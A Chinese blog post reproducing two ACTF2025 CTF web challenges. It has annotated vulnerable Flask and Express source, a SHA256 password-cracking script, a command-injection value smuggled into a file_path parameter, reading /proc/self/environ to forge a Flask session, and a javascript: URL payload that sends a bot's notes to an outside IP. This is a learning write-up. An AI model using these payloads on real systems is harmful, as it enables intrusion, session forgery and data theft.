ACTF2025复现学习

ACTF2025 WEB 复现

upload

忍不住看了眼wp,知道了path可以任意文件读取

然后读到了 ../app.py 然后叫ai注释了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207

# 导入所需模块

import uuid # 用于生成唯一文件名,防止文件名冲突

import os # 用于操作系统相关操作(如读取环境变量、执行系统命令)

import hashlib # 用于密码哈希(SHA256)

import base64 # 用于将二进制数据编码为 Base64 字符串,便于在 HTML 中嵌入图像

from flask import Flask, request, redirect, url_for, flash, session # Flask Web 框架核心组件


# 创建 Flask 应用实例

app = Flask(__name__)


# 设置 Flask 的 secret_key,用于加密 session。从环境变量中读取,若未设置则为 None(存在安全隐患)

app.secret_key = os.getenv('SECRET_KEY')


# 根路径路由:根据用户是否已登录,重定向到上传页或登录页

@app.route('/')

defindex():

if session.get('username'): # 如果 session 中存在用户名,说明已登录

return redirect(url_for('upload')) # 跳转到上传页面

else:

return redirect(url_for('login')) # 否则跳转到登录页面


# 登录路由:支持 GET(显示表单)和 POST(处理登录)

@app.route('/login', methods=['POST', 'GET'])

deflogin():

if request.method == 'POST':

# 从表单中获取用户名和密码

username = request.form['username']

password = request.form['password']



# 特殊处理用户名为 'admin' 的情况

if username == 'admin':

# 对输入密码进行 SHA256 哈希,并与硬编码的哈希值比对

if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':

session['username'] = username # 登录成功,设置 session

return redirect(url_for('index'))

else:

flash('Invalid password') # 密码错误,提示用户

else:

# 非 admin 用户:无需密码验证,直接登录(任意用户名均可)

session['username'] = username

return redirect(url_for('index'))

else:

# GET 请求:返回登录表单 HTML

return'''

<h1>Login</h1>

<h2>No need to register.</h2>

<form action="/login" method="post">

<label for="username">Username:</label>

<input type="text" id="username" name="username" required>

<br>

<label for="password">Password:</label>

<input type="password" id="password" name="password" required>

<br>

<input type="submit" value="Login">

</form>

'''


# 上传路由:处理文件上传和展示

@app.route('/upload', methods=['POST', 'GET'])

defupload():

# 未登录用户重定向到登录页

ifnot session.get('username'):

return redirect(url_for('login'))



if request.method == 'POST':

# 获取上传的文件对象

f = request.files['file']

# 生成唯一文件名:UUID + 原始文件名,防止覆盖

file_path = str(uuid.uuid4()) + '_' + f.filename

# 保存文件到 ./uploads/ 目录(需确保该目录存在!)

f.save('./uploads/' + file_path)

# 重定向到 GET 请求,附带 file_path 参数用于显示图像

return redirect(f'/upload?file_path={file_path}')



else: # GET 请求

ifnot request.args.get('file_path'):

# 未提供 file_path:显示上传表单

return'''

<h1>Upload Image</h1>

<form action="/upload" method="post" enctype="multipart/form-data">

<input type="file" name="file">

<input type="submit" value="Upload">

</form>

'''

else:

# 已提供 file_path:尝试显示图像

file_path = './uploads/' + request.args.get('file_path')



# 普通用户(非 admin):直接读取文件并 Base64 编码后嵌入 <img> 标签显示

if session.get('username') != 'admin':

withopen(file_path, 'rb') as f:

content = f.read()

b64 = base64.b64encode(content)

returnf'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'

else:

# admin 用户:执行系统命令将文件转为 Base64 并保存到 /tmp/

# ⚠️ 严重安全漏洞:file_path 来自用户输入,未做任何过滤,可导致命令注入!

os.system(f'base64 {file_path} > /tmp/{file_path}.b64')



# 注释掉的代码本意是读取 Base64 内容并显示图像

# 但实际返回的是固定字符串,阻止 admin 查看图像

return'Sorry, but you are not allowed to view this image.'


# 启动应用(仅在直接运行脚本时生效)

if__name__ == '__main__':

app.run(host='0.0.0.0', port=5000) # 监听所有接口,端口 5000

官方wp有两种解法,一是构造session,二是爆破admin密码哈希值

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130

import hashlib

import itertools

import string

import argparse

import sys


defsha256_hash(text):

return hashlib.sha256(text.encode()).hexdigest()


defdictionary_attack(hash_target, wordlist_file):

print(f"[+] 启动字典攻击,使用字典: {wordlist_file}")

try:

withopen(wordlist_file, 'r', encoding='utf-8', errors='ignore') as f:

for line in f:

word = line.strip()

ifnot word:

continue

if sha256_hash(word) == hash_target:

print(f"[✅] 找到明文! 哈希: {hash_target} => 明文: '{word}'")

return word

print("[-] 字典攻击失败,未找到匹配项。")

exceptFileNotFoundError:

print(f"[!] 错误:字典文件 '{wordlist_file}' 不存在。")

returnNone


defbrute_force_attack(hash_target, charset, min_length=1, max_length=6):

print(f"[+] 启动暴力破解 (长度 {min_length}-{max_length}),字符集: {charset}")

for length inrange(min_length, max_length + 1):

print(f" 尝试长度: {length}")

for attempt in itertools.product(charset, repeat=length):

word = ''.join(attempt)

if sha256_hash(word) == hash_target:

print(f"[✅] 找到明文! 哈希: {hash_target} => 明文: '{word}'")

return word

print("[-] 暴力破解失败,未在指定范围内找到匹配项。")

returnNone


defmain():

parser = argparse.ArgumentParser(description="SHA256 哈希爆破工具")

parser.add_argument('hash', help="目标 SHA256 哈希值(十六进制)")

parser.add_argument('-w', '--wordlist', help="字典文件路径(用于字典攻击)")

parser.add_argument('-b', '--bruteforce', action='store_true', help="启用暴力破解模式")

parser.add_argument('--charset', default=string.ascii_letters + string.digits,

help="暴力破解字符集(默认: a-zA-Z0-9)")

parser.add_argument('--min', type=int, default=1, help="暴力破解最小长度(默认: 1)")

parser.add_argument('--max', type=int, default=6, help="暴力破解最大长度(默认: 6)")


args = parser.parse_args()


target_hash = args.hash.lower()

iflen(target_hash) != 64:

print("[!] 错误:SHA256 哈希应为 64 位十六进制字符串。")

sys.exit(1)


# 优先尝试字典攻击

if args.wordlist:

result = dictionary_attack(target_hash, args.wordlist)

if result:

return


# 如果启用或字典失败,尝试暴力破解

if args.bruteforce:

brute_force_attack(target_hash, args.charset, args.min, args.max)

else:

ifnot args.wordlist:

print("[!] 请提供 -w 字典文件 或 -b 启用暴力破解。")


if__name__ == '__main__':

main()

也可以用bp,配合rockyou几乎秒出。。。

1
2
3
4
5

[+] 启动字典攻击,使用字典: rockyou.txt

[✅] 找到明文! 哈希: 32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0 => 明文: 'backdoor'

拿到admin后可以执行命令:

1
2
3
4
5
6
7

os.system(f'base64 {file_path} > /tmp/{file_path}.b64')

而:

file_path = './uploads/' + request.args.get('file_path')

如此时file_path传入:aaa.png;ls / > ./upload/ls.txt

拼接后为:

base64 aaa.png;ls / > ./upload/ls.txt > /tmp/aaa.png;ls / > ./upload/ls.txt.b64

前面的命令段:

1
2
3
4
5
6
7

base64aaa.png;

ls/ > ./upload/ls.txt > /tmp/aaa.png;

ls/ > ./upload/ls.txt.b64 #(我们期望的是这条命令)

实现 rce

试一下方法二:

通过读取系统变量来查看secret_key来构建session

注意到 secretkey 是从环境变量中读取,所以可以读 /proc/self/environ 进而伪造 session

问题来了:

为什么知道是这个路径?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

一、为什么是 /proc/self/environ?

1. /proc Linux 的虚拟文件系统

它不真实存在于磁盘,而是由内核动态生成,反映当前系统运行状态。

每个运行中的进程在 /proc 下都有一个以其 PID(进程 ID) 命名的目录,如 /proc/1234/。

2. /proc/<pid>/environ 是什么?

它是 进程启动时的环境变量快照,格式为 KEY=VALUE\0KEY2=VALUE2\0...(用空字符 \0 分隔)。

只有进程所有者或 root 可读。

3. self 是什么?

/proc/self 是一个符号链接,永远指向 当前进程的 PID 目录。

读取到变量:

1
2
3

SECRET_KEY=S3cRetK3y

拿到了flask session的SECRET_KEY,就可以伪造任意用户了

然后了解到有快速伪造工具

pip install flash-unsign

flask-unsign –sign –cookie “{‘username’: ‘admin’}” –secret “S3cRetK3y”

1
2
3

eyJ1c2VybmFtZSI6ImFkbWluIn0.aOAhNA.cocF_px315Fb69Br7utkzicyWLQ

拿到session

eznote

一个博客系统,那应该就是xss加bot访问拿信息或cookie

先让ai注释一下源码:

app:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263

// 引入必要的模块

constexpress = require('express') // Express Web 框架

constsession = require('express-session') // 用于管理用户会话

const { randomBytes } = require('crypto') // 用于生成随机字节(如会话密钥、文件名等)

constfs = require('fs') // 文件系统操作

constspawn = require('child_process') // 用于执行外部命令(如 pandoc)

constpath = require('path') // 路径处理工具

const { visit } = require('./bot') // 自定义模块,模拟机器人访问 URL

constcreateDOMPurify = require('dompurify'); // 用于清理 HTML,防止 XSS

const { JSDOM } = require('jsdom'); // 在 Node.js 中模拟浏览器 DOM 环境


// 初始化 DOMPurify(用于 HTML 净化)

constDOMPurify = createDOMPurify(newJSDOM('').window);


// 服务器监听配置

constLISTEN_PORT = 3000

constLISTEN_HOST = '0.0.0.0' // 允许外部访问


// 创建 Express 应用实例

constapp = express()


// 设置模板引擎:使用 EJS 渲染 .html 文件

app.set('views', './views') // 模板文件目录

app.set('view engine', 'html') // 默认模板后缀

app.engine('html', require('ejs').renderFile) // 使用 EJS 渲染 HTML 模板


// 解析 POST 表单中的 URL 编码数据

app.use(express.urlencoded({ extended:true }))


// 配置会话中间件

app.use(session({

secret:randomBytes(4).toString('hex'), // 每次启动生成新的密钥(不安全,仅用于演示)

saveUninitialized:true, // 保存未初始化的会话

resave:true, // 强制保存会话(即使未修改)

}))


// 中间件:为每个请求初始化 session.notes(用于存储用户创建的笔记 ID 列表)

app.use((req, res, next) => {

if (!req.session.notes) {

req.session.notes = []

}

next()

})


// 全局内存存储:Map 结构保存所有笔记内容(key: noteId, value: {title, content})

constnotes = newMap()


// 每 60 秒清空一次 notes(临时存储,防止内存泄漏或持久化)

setInterval(() => { notes.clear() }, 60 * 1000);


// 将用户输入的文本(如 Markdown)转换为安全的 HTML

functiontoHtml(source, format){

// 默认格式为 markdown

if (format == undefined) {

format = 'markdown'

}

// 确保 notes 目录存在

if (!fs.existsSync("notes")) {

fs.mkdirSync("notes");

}

// 生成临时文件名(随机 4 字节 hex)

lettmpfile = path.join('notes', randomBytes(4).toString('hex'))

// 写入用户内容到临时文件

fs.writeFileSync(tmpfile, source)

// 调用 pandoc 命令行工具转换格式(如 markdown -> html)

letres = spawn.execSync(`pandoc -f ${format}${tmpfile}`).toString()

// 注意:此处注释掉了删除临时文件的代码,可能存在临时文件堆积风险

// fs.unlinkSync(tmpfile)

// 使用 DOMPurify 清理生成的 HTML,防止 XSS 攻击

returnDOMPurify.sanitize(res)

}


// 健康检查接口

app.get('/ping', (req, res) => {

res.send('pong')

})


// 首页:渲染 index.html,传入当前用户的笔记 ID 列表

app.get('/', (req, res) => {

res.render('index', { notes:req.session.notes })

})


// 返回当前用户所有笔记 ID(JSON 格式)

app.get('/notes', (req, res) => {

res.send(req.session.notes)

})


// 查看单个笔记(通过 noteId)

app.get('/note/:noteId', (req, res) => {

let { noteId } = req.params

if(!notes.has(noteId)){

res.send('no such note')

return

}

letnote = notes.get(noteId)

res.render('note', note) // 渲染 note.html,传入 title 和 content

})


// 创建新笔记(POST)

app.post('/note', (req, res) => {

letnoteId = randomBytes(8).toString('hex') // 生成唯一 ID

let { title, content, format } = req.body


// 限制 format 只能是 1-10 位的字母数字(防止 pandoc 命令注入)

if (!/^[0-9a-zA-Z]{1,10}$/.test(format)) {

res.send("illegal format!!!")

return

}


// 转换内容为 HTML 并存入全局 notes

notes.set(noteId, {

title:title,

content:toHtml(content, format)

})


// 将 noteId 加入当前用户会话

req.session.notes.push(noteId)

res.send(noteId) // 返回新笔记 ID

})


// 渲染报告页面(用于提交 URL 给 bot 访问)

app.get('/report', (req, res) => {

res.render('report')

})


// 提交 URL 给 bot 访问(常用于 SSRF 或 XSS 漏洞利用场景)

app.post('/report', async (req, res) => {

let { url } = req.body

try {

awaitvisit(url) // 调用 bot 模块访问该 URL

res.send('success')

} catch (err) {

console.log(err)

res.send('error')

}

})


// 启动服务器

app.listen(LISTEN_PORT, LISTEN_HOST, () => {

console.log(`listening on ${LISTEN_HOST}:${LISTEN_PORT}`)

})


看到这大致思路就是绕过’DOMPurify’来生产带有xss攻击的note,让到report接口让bot访问,拿到bot的cookie

来看看那bot的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130

// 引入依赖模块

constpuppeteer = require('puppeteer') // 用于控制 Chromium 浏览器

constprocess = require('process') // 用于访问环境变量和进程信息

constfs = require('fs') // 用于文件系统操作


// 立即执行函数:安全读取并删除 flag 文件

constFLAG = (() => {

letflag = 'flag{test}' // 默认测试 flag(用于开发环境)


// 如果存在 flag.txt 文件,则读取其内容作为真实 flag

if (fs.existsSync('flag.txt')) {

flag = fs.readFileSync('flag.txt').toString()

// 读取后立即删除 flag.txt,防止多次读取或泄露

fs.unlinkSync('flag.txt')

}

returnflag

})()


// 判断是否以无头(headless)模式运行 Chromium

// 如果环境变量 PROD 存在且为 true,则启用无头模式(通常生产环境使用)

constHEADLESS = !!(process.env.PROD ?? false)


// 辅助函数:睡眠(暂停执行若干秒)

constsleep = (sec) =>newPromise(r=>setTimeout(r, sec * 1000))


// 核心函数:模拟“管理员”或“机器人”访问用户提供的 URL

// 通常用于 CTF 题目中,让用户提交恶意 URL,bot 访问后触发 XSS,从而窃取 flag

asyncfunctionvisit(url) {

// 启动 Chromium 浏览器实例

letbrowser = awaitpuppeteer.launch({

headless:HEADLESS, // 是否无界面模式

executablePath:'/usr/bin/chromium', // 指定 Chromium 可执行文件路径(常见于 Docker 环境)

args: ['--no-sandbox'] // 禁用沙箱(在容器中常需此参数,但有安全风险)

})


// 打开新页面

letpage = awaitbrowser.newPage()


// 第一步:访问本地 Web 应用首页(通常是笔记创建页)

awaitpage.goto('http://localhost:3000/')


// 等待页面中的 #title 输入框出现(确保 DOM 加载完成)

awaitpage.waitForSelector('#title')


// 在标题输入框中输入 "flag"

awaitpage.type('#title', 'flag', { delay:100 }) // 模拟人工输入(带延迟)


// 在内容输入框中输入 FLAG(即真实 flag)

awaitpage.type('#content', FLAG, { delay:100 })


// 点击提交按钮(假设按钮 ID 为 #submit)

awaitpage.click('#submit', { delay:100 })


// 等待 3 秒,确保笔记提交完成(可能涉及 AJAX 请求)

awaitsleep(3)


// 打印日志:即将访问用户提交的 URL

console.log('visiting %s', url)


// 第二步:访问用户提供的 URL(例如:http://attacker.com/?xss=...)

awaitpage.goto(url)


// 保持页面打开 30 秒(给 XSS 脚本足够时间执行,如发送 flag 到攻击者服务器)

awaitsleep(30)


// 关闭浏览器,释放资源

awaitbrowser.close()

}


// 导出 visit 函数,供其他模块(如 Express 服务器)调用

module.exports = {

visit

}

看来只要拿到bot的cookie就能能访问到bot创建的note了

怎么感觉见到过原题?

攻击链大概就是:

1
2
3

DOMPurify绕过->构造xss让bot发送自己的请求头->拿到请求信息->拿到note列表->拿到flag

现在问题是DOMPurify版本为3.2.3,是一个十分新的版本,我没在网上查到能绕过的办法

那就无从说起,所以DOMPurify绕过是条死路

然后看了网上的wp,发现是能直接让bot的浏览器执行url的java伪代码

是我菜了。。。

拿上次SEECON13 的payload改:

1
2
3

javascript:var d;fetch("/notes").then((r) => r.text()).then((data) => {d = data});setTimeout(() => {fetch('http://192.168.75.1:80?data=' + encodeURI(d))}, 500);

最好url编码一下


ACTF2025复现学习
https://aidemofashi.github.io/2025/10/07/ACTF2025复现学习/
作者
aidemofashi
发布于
2025年10月7日
许可协议